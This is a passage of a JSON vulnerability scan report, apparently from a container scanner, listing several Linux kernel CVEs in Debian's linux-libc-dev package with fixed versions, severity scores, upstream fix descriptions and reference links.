"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64029", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64174", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64175", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64176", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68128", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68159", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68200", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68363", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68426", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72102", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72243", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72298", "https://errata.almalinux.org/9/ALSA-2026-68570.html", "https://errata.rockylinux.org/RLSA-2026:68570", "https://git.kernel.org/stable/c/42bc06c67d94d5f2a6b33294b0c4b07d8a47c515", "https://git.kernel.org/stable/c/4daf06456677177f2a6044729abac59c1b49e87b", "https://git.kernel.org/stable/c/590b07ceea138d49c9b64f65d263aa902d3b4730", "https://git.kernel.org/stable/c/66eec4af1e080b695229c9a20635648a6d12fedf", "https://git.kernel.org/stable/c/9f00f9cf2be293efe899db67dc5272e3a9c62717", "https://git.kernel.org/stable/c/d5650ddbd4d42c1a916c8fe1a4c4cb573ef810a1", "https://git.kernel.org/stable/c/e36663145abd7024f0281dfb22fdef65f185845b", "https://git.kernel.org/stable/c/ebdf4b4f3b1474079980a2e5cd79ad65fb54db57", "https://linux.oracle.com/cve/CVE-2026-68159.html", "https://linux.oracle.com/errata/ELSA-2026-72468.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-68159", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68159" ], "PublishedDate": "2026-08-10T13:20:02.187Z", "LastModifiedDate": "2026-10-19T21:17:56.23Z" }, { "VulnerabilityID": "CVE-2026-68166", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68166", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:88852fe34692a4a9a6d82863a32bf8421bcec54df4699d12ec3be5788b6cbf59", "Title": "kernel: Linux kernel: Arbitrary code execution via userfaultfd shadow stack manipulation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nuserfaultfd: prevent registration of special VMAs\n\nVova Tokarev says:\n\n userfaultfd allows registration on shadow stack VMAs. With userfaultfd\n access, you can register on the shadow stack, discard a page ... and\n inject a page with chosen return addresses via UFFDIO_COPY.\n\nUpdate vma_can_userfault() to reject VM_SHADOW_STACK.\n\nWhile on it, also reject VM_SPECIAL so that if a driver would implement\nvm_uffd_ops, it wouldn't be possible to register special VMAs with\nuserfaultfd.\n\nSince VM_SPECIAL includes VM_DONTEXPAND which is set but hugetlb, exclude\nhugetlb VMAs from the check for VM_SPECIAL.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "oracle-oval": 3, "photon": 2, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63129", "https://access.redhat.com/security/cve/CVE-2026-68166", "https://bugzilla.redhat.com/2406747", "https://bugzilla.redhat.com/2432366", "https://bugzilla.redhat.com/2482006", "https://bugzilla.redhat.com/2482558", "https://bugzilla.redhat.com/2492447", "https://bugzilla.redhat.com/2502219", "https://bugzilla.redhat.com/2502227", "https://bugzilla.redhat.com/2502235", "https://bugzilla.redhat.com/2502239", "https://bugzilla.redhat.com/2502240", "https://bugzilla.redhat.com/2502248", "https://bugzilla.redhat.com/2502260", "https://bugzilla.redhat.com/2502329", "https://bugzilla.redhat.com/2502363", "https://bugzilla.redhat.com/2502421", "https://bugzilla.redhat.com/2502447", "https://bugzilla.redhat.com/2507046", "https://bugzilla.redhat.com/2507089", "https://bugzilla.redhat.com/2507118", "https://bugzilla.redhat.com/2507119", "https://bugzilla.redhat.com/2507208", "https://bugzilla.redhat.com/2507277", "https://bugzilla.redhat.com/2508363", "https://bugzilla.redhat.com/2513167", "https://bugzilla.redhat.com/2513392", "https://bugzilla.redhat.com/2516248", "https://bugzilla.redhat.com/2516448", "https://bugzilla.redhat.com/show_bug.cgi?id=2406747", "https://bugzilla.redhat.com/show_bug.cgi?id=2432366", "https://bugzilla.redhat.com/show_bug.cgi?id=2482006", "https://bugzilla.redhat.com/show_bug.cgi?id=2482558", "https://bugzilla.redhat.com/show_bug.cgi?id=2492447", "https://bugzilla.redhat.com/show_bug.cgi?id=2502219", "https://bugzilla.redhat.com/show_bug.cgi?id=2502227", "https://bugzilla.redhat.com/show_bug.cgi?id=2502235", "https://bugzilla.redhat.com/show_bug.cgi?id=2502239", "https://bugzilla.redhat.com/show_bug.cgi?id=2502240", "https://bugzilla.redhat.com/show_bug.cgi?id=2502248", "https://bugzilla.redhat.com/show_bug.cgi?id=2502260", "https://bugzilla.redhat.com/show_bug.cgi?id=2502329", "https://bugzilla.redhat.com/show_bug.cgi?id=2502363", "https://bugzilla.redhat.com/show_bug.cgi?id=2502421", "https://bugzilla.redhat.com/show_bug.cgi?id=2502447", "https://bugzilla.redhat.com/show_bug.cgi?id=2507046", "https://bugzilla.redhat.com/show_bug.cgi?id=2507089", "https://bugzilla.redhat.com/show_bug.cgi?id=2507118", "https://bugzilla.redhat.com/show_bug.cgi?id=2507119", "https://bugzilla.redhat.com/show_bug.cgi?id=2507208", "https://bugzilla.redhat.com/show_bug.cgi?id=2507277", "https://bugzilla.redhat.com/show_bug.cgi?id=2508363", "https://bugzilla.redhat.com/show_bug.cgi?id=2513167", "https://bugzilla.redhat.com/show_bug.cgi?id=2513392", "https://bugzilla.redhat.com/show_bug.cgi?id=2516248", "https://bugzilla.redhat.com/show_bug.cgi?id=2516448", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40064", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71147", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46185", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53073", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53399", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63800", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63808", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63886", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64018", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64298", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64304", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64387", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64438", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64490", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68480", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72069", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72130", "https://errata.almalinux.org/9/ALSA-2026-63129.html", "https://errata.rockylinux.org/RLSA-2026:63129", "https://git.kernel.org/stable/c/0c26202b157f1efc3cd2f26f5c30f59b508a6a5d", "https://git.kernel.org/stable/c/165613191ad9d034bf17c00e3a142f9561597ec5", "https://git.kernel.org/stable/c/3c58f641e813c3c71039f8fd4d4e2a3aab713288", "https://git.kernel.org/stable/c/495a28d5a100be1b232633f4c2dcc42ba10b3796", "https://git.kernel.org/stable/c/d974b4b786214883bd8e56bda10b454c80fd6205", "https://linux.oracle.com/cve/CVE-2026-68166.html", "https://linux.oracle.com/errata/ELSA-2026-63129-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-68166", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68166" ], "PublishedDate": "2026-08-10T13:20:03.11Z", "LastModifiedDate": "2026-11-06T17:19:20.417Z" }, { "VulnerabilityID": "CVE-2026-68264", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68264", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a28571c9248e4ec482bdf1fa09a453d260ebe1793762392712bcf07117db29a8", "Title": "kernel: drm/xe/pt: Reset current_op in xe_pt_update_ops_init()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/xe/pt: Reset current_op in xe_pt_update_ops_init()\n\nxe_pt_update_ops_init() fails to reset current_op to 0. On the\nvm_bind path, ops_execute() calls xe_pt_update_ops_prepare() inside\nthe xe_validation_guard() / drm_exec_until_all_locked() loop. When\nthat loop retries due to lock contention or OOM eviction\n(drm_exec_retry_on_contention() / xe_validation_retry_on_oom()),\nxe_pt_update_ops_prepare() runs again on the same vops, and each\ncall to bind_op_prepare() increments current_op without resetting it.\n\nAfter N retries current_op exceeds the array size allocated by\nxe_vma_ops_alloc(), causing an out-of-bounds write into\nSLUB-poisoned memory and a subsequent UAF crash in\nxe_migrate_update_pgtables_cpu() when reading the corrupted pt_op-\u003ebind.\n\nAlso reset needs_svm_lock and needs_invalidation which are derived in\nthe same prepare pass and would otherwise cause wrong migrate ops\nselection and redundant TLB invalidation on retry.\n\nFix this by resetting current_op, needs_svm_lock and needs_invalidation\nin xe_pt_update_ops_init().\n\nv2 (Matt):\n - Add details in commit message.\n - Add Fixes tag and Cc to stable@vger.kernel.org\n\n(cherry picked from commit 046045543e530605c441063535e7dca0075369a6)", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:67150", "https://access.redhat.com/security/cve/CVE-2026-68264", "https://bugzilla.redhat.com/2425039", "https://bugzilla.redhat.com/2454867", "https://bugzilla.redhat.com/2460699", "https://bugzilla.redhat.com/2461451", "https://bugzilla.redhat.com/2461525", "https://bugzilla.redhat.com/2464093", "https://bugzilla.redhat.com/2468050", "https://bugzilla.redhat.com/2468192", "https://bugzilla.redhat.com/2468244", "https://bugzilla.redhat.com/2492092", "https://bugzilla.redhat.com/2492115", "https://bugzilla.redhat.com/2492270", "https://bugzilla.redhat.com/2492310", "https://bugzilla.redhat.com/2492408", "https://bugzilla.redhat.com/2492432", "https://bugzilla.redhat.com/2492717", "https://bugzilla.redhat.com/2492722", "https://bugzilla.redhat.com/2492762", "https://bugzilla.redhat.com/2492771", "https://bugzilla.redhat.com/2492795", "https://bugzilla.redhat.com/2502254", "https://bugzilla.redhat.com/2502320", "https://bugzilla.redhat.com/2502331", "https://bugzilla.redhat.com/2502346", "https://bugzilla.redhat.com/2502388", "https://bugzilla.redhat.com/2502413", "https://bugzilla.redhat.com/2502446", "https://bugzilla.redhat.com/2502473", "https://bugzilla.redhat.com/2502477", "https://bugzilla.redhat.com/2502518", "https://bugzilla.redhat.com/2502541", "https://bugzilla.redhat.com/2506782", "https://bugzilla.redhat.com/2507292", "https://bugzilla.redhat.com/2513141", "https://bugzilla.redhat.com/2513177", "https://bugzilla.redhat.com/2513253", "https://bugzilla.redhat.com/2513324", "https://bugzilla.redhat.com/2513397", "https://bugzilla.redhat.com/2513408", "https://bugzilla.redhat.com/2513452", "https://bugzilla.redhat.com/2513474", "https://bugzilla.redhat.com/2516501", "https://bugzilla.redhat.com/show_bug.cgi?id=2425039", "https://bugzilla.redhat.com/show_bug.cgi?id=2454867", "https://bugzilla.redhat.com/show_bug.cgi?id=2460699", "https://bugzilla.redhat.com/show_bug.cgi?id=2461451", "https://bugzilla.redhat.com/show_bug.cgi?id=2461525", "https://bugzilla.redhat.com/show_bug.cgi?id=2464093", "https://bugzilla.redhat.com/show_bug.cgi?id=2468050", "https://bugzilla.redhat.com/show_bug.cgi?id=2468192", "https://bugzilla.redhat.com/show_bug.cgi?id=2468244", "https://bugzilla.redhat.com/show_bug.cgi?id=2492092", "https://bugzilla.redhat.com/show_bug.cgi?id=2492115", "https://bugzilla.redhat.com/show_bug.cgi?id=2492270", "https://bugzilla.redhat.com/show_bug.cgi?id=2492310", "https://bugzilla.redhat.com/show_bug.cgi?id=2492408", "https://bugzilla.redhat.com/show_bug.cgi?id=2492432", "https://bugzilla.redhat.com/show_bug.cgi?id=2492717", "https://bugzilla.redhat.com/show_bug.cgi?id=2492722", "https://bugzilla.redhat.com/show_bug.cgi?id=2492762", "https://bugzilla.redhat.com/show_bug.cgi?id=2492771", "https://bugzilla.redhat.com/show_bug.cgi?id=2492795", "https://bugzilla.redhat.com/show_bug.cgi?id=2502254", "https://bugzilla.redhat.com/show_bug.cgi?id=2502320", "https://bugzilla.redhat.com/show_bug.cgi?id=2502331", "https://bugzilla.redhat.com/show_bug.cgi?id=2502346", "https://bugzilla.redhat.com/show_bug.cgi?id=2502388", "https://bugzilla.redhat.com/show_bug.cgi?id=2502413", "https://bugzilla.redhat.com/show_bug.cgi?id=2502446", "https://bugzilla.redhat.com/show_bug.cgi?id=2502473", "https://bugzilla.redhat.com/show_bug.cgi?id=2502477", "https://bugzilla.redhat.com/show_bug.cgi?id=2502518", "https://bugzilla.redhat.com/show_bug.cgi?id=2502541", "https://bugzilla.redhat.com/show_bug.cgi?id=2506782", "https://bugzilla.redhat.com/show_bug.cgi?id=2507292", "https://bugzilla.redhat.com/show_bug.cgi?id=2513141", "https://bugzilla.redhat.com/show_bug.cgi?id=2513177", "https://bugzilla.redhat.com/show_bug.cgi?id=2513253", "https://bugzilla.redhat.com/show_bug.cgi?id=2513324", "https://bugzilla.redhat.com/show_bug.cgi?id=2513397", "https://bugzilla.redhat.com/show_bug.cgi?id=2513408", "https://bugzilla.redhat.com/show_bug.cgi?id=2513452", "https://bugzilla.redhat.com/show_bug.cgi?id=2513474", "https://bugzilla.redhat.com/show_bug.cgi?id=2516501", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68745", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31566", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31656", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31692", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43334", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43368", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43370", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52917", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52918", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52947", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53053", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53072", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53091", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53182", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53209", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53246", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53254", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53256", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63801", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63889", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63944", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63945", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63946", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63947", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63971", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63975", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64037", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64113", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64515", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68086", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68264", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68300", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68315", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68376", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72098", "https://errata.almalinux.org/9/ALSA-2026-67150.html", "https://errata.rockylinux.org/RLSA-2026:67150", "https://git.kernel.org/stable/c/157b1e3384d7d37f59c0c2b2ff2af8f557db1daa", "https://git.kernel.org/stable/c/6384271ac1ac0099198d15df79212a19ebdb929d", "https://git.kernel.org/stable/c/90e4fd331b980259c40118d05b89b0ec514e7c48", "https://git.kernel.org/stable/c/be5c39730ab8f1dfe59983bf7d8e3705541d1fee", "https://linux.oracle.com/cve/CVE-2026-68264.html", "https://linux.oracle.com/errata/ELSA-2026-67471-0.html", "https://lore.kernel.org/linux-cve-announce/2026081023-CVE-2026-68264-6281@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68264", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68264" ], "PublishedDate": "2026-08-10T13:20:15.257Z", "LastModifiedDate": "2026-10-19T21:17:59.927Z" }, { "VulnerabilityID": "CVE-2026-68409", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68409", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:90dac37b008e9b43ef65b5307b17be660acfbbde706ec56be78af188d99f65df", "Title": "kernel: wifi: mac80211: defer link RX stats percpu free to RCU", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mac80211: defer link RX stats percpu free to RCU\n\nsta_remove_link() frees a removed MLO link's RX stats percpu buffer right\naway, but defers only the link container to RCU:\n\n\tsta_info_free_link(\u0026alloc-\u003einfo);\n\tkfree_rcu(alloc, rcu_head);\n\nThe RX fast path reads link_sta under rcu_read_lock and writes the percpu\nstats. A reader that resolved link_sta before the removal keeps the\npointer. The container stays alive from the kfree_rcu, so the read still\nworks. But the percpu block it points to is already freed. This needs\nuses_rss. That is when pcpu_rx_stats exists.\n\nThe full STA teardown frees the deflink stats only after\nsynchronize_net(). The link removal path had no such barrier. The race is\nhard to win in practice, but the free should still wait for RCU.\n\nFree the link together with its data from a single RCU callback, so the\npercpu block is reclaimed only after readers drain.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:83156", "https://access.redhat.com/security/cve/CVE-2026-68409", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492286", "https://bugzilla.redhat.com/2502460", "https://bugzilla.redhat.com/2513234", "https://bugzilla.redhat.com/2513277", "https://bugzilla.redhat.com/2513293", "https://bugzilla.redhat.com/2513299", "https://bugzilla.redhat.com/2516526", "https://bugzilla.redhat.com/2516575", "https://bugzilla.redhat.com/2516606", "https://bugzilla.redhat.com/2521436", "https://bugzilla.redhat.com/2521498", "https://bugzilla.redhat.com/2532279", "https://bugzilla.redhat.com/2532309", "https://bugzilla.redhat.com/2535158", "https://bugzilla.redhat.com/2540182", "https://bugzilla.redhat.com/2540230", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492286", "https://bugzilla.redhat.com/show_bug.cgi?id=2502460", "https://bugzilla.redhat.com/show_bug.cgi?id=2513234", "https://bugzilla.redhat.com/show_bug.cgi?id=2513277", "https://bugzilla.redhat.com/show_bug.cgi?id=2513293", "https://bugzilla.redhat.com/show_bug.cgi?id=2513299", "https://bugzilla.redhat.com/show_bug.cgi?id=2516526", "https://bugzilla.redhat.com/show_bug.cgi?id=2516575", "https://bugzilla.redhat.com/show_bug.cgi?id=2516606", "https://bugzilla.redhat.com/show_bug.cgi?id=2521436", "https://bugzilla.redhat.com/show_bug.cgi?id=2521498", "https://bugzilla.redhat.com/show_bug.cgi?id=2532279", "https://bugzilla.redhat.com/show_bug.cgi?id=2532309", "https://bugzilla.redhat.com/show_bug.cgi?id=2532515", "https://bugzilla.redhat.com/show_bug.cgi?id=2535158", "https://bugzilla.redhat.com/show_bug.cgi?id=2540182", "https://bugzilla.redhat.com/show_bug.cgi?id=2540230", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64030", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68140", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68377", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68404", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68409", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72288", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72320", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74641", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74705", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80985", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89526", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90036", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93207", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93228", "https://errata.almalinux.org/9/ALSA-2026-83156.html", "https://errata.rockylinux.org/RLSA-2026:83156", "https://git.kernel.org/stable/c/2aa1789880fa5e41049b0f6a74a4fc2fa1997610", "https://git.kernel.org/stable/c/a03fceae0c65b31ce31840dac5e26684ceecb65b", "https://git.kernel.org/stable/c/a5afc00280986063f1c355821544fabbb2a960f7", "https://git.kernel.org/stable/c/aa2eb62525188269cdd402a583b9a8ed94657ff0", "https://git.kernel.org/stable/c/acd5931d5adf12f0163f83dc00320e7011f4da92", "https://git.kernel.org/stable/c/b679c1cffb2f3d0854b8b05ea9e909ad6489046f", "https://linux.oracle.com/cve/CVE-2026-68409.html", "https://linux.oracle.com/errata/ELSA-2026-83156.html", "https://lore.kernel.org/linux-cve-announce/2026081050-CVE-2026-68409-4c77@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68409", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68409" ], "PublishedDate": "2026-08-10T13:20:34.537Z", "LastModifiedDate": "2026-10-30T13:19:44.847Z" }, { "VulnerabilityID": "CVE-2026-68426", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68426", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5cbe34e1c9855567b3c060e0ddd876c7027fb9b412a5bc6bdf1d356943a1f877", "Title": "kernel: xfrm: fix stale skb-\u003eprev after async crypto steals a GSO segment", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfrm: fix stale skb-\u003eprev after async crypto steals a GSO segment\n\nskb_gso_segment() leaves the segment list head with -\u003eprev pointing at\nthe last segment, an invariant validate_xmit_skb_list() relies on when\nit sets its tail pointer (tail = skb-\u003eprev).\n\nWhen validate_xmit_xfrm() walks a 